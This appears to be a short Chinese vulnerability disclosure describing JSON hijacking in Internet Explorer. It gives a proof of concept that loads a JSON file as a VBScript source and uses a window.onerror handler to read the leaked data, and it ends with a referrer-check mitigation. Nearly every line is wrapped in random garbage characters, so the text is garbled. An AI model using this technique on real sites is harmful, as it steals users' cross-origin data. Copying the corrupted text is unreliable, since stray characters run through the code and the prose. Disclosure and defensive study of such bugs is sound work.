简要描述:
) l& K6 ]! y4 x0 Q
! Q c a2 H, w# V1 ~4 ]3 k" g- U由于某些资源容器对数据处理不当导致json劫持漏洞.
) W+ C# w6 @ I详细说明:( A+ ~; h0 o, O( d. i
由于ie支持vbscript,所以script元素可以指定成vbscript语言:+ R0 K( n: P% {) ~$ F
<script language=vbscript></script>0 U( e" L' L W. d9 W m: t0 [
% k3 P; U1 v: c) q4 a
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
! I7 H6 g7 c- U9 P, H漏洞证明:
6 S/ t7 h- [6 z6 c; [+ r* Z<script>/ |- k/ a( r. x% u% r+ O K$ r
window.onerror=function(_){ Y4 K8 ~& ^" z2 t' C) l! h. u3 Z
alert(_)* Q: y/ k; q, F/ }% V2 {) e/ b
}
4 Y" {$ E( u0 I9 K0 w( d</script>/ {) k4 z/ _, `
<script language=vbscript src=1.json></script>0 P7 C2 n& B% b1 B
! Z: O/ S3 J7 j# q7 g
% Q2 y/ R9 N. q- ]1.json:0 t5 x4 h6 l# Y, w1 v! K. V! B
[{"name":"sogili","age":19}]7 |/ {7 X/ Y! e2 B: c
修复方案:- b% R) t8 j- w+ m1 y4 F
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |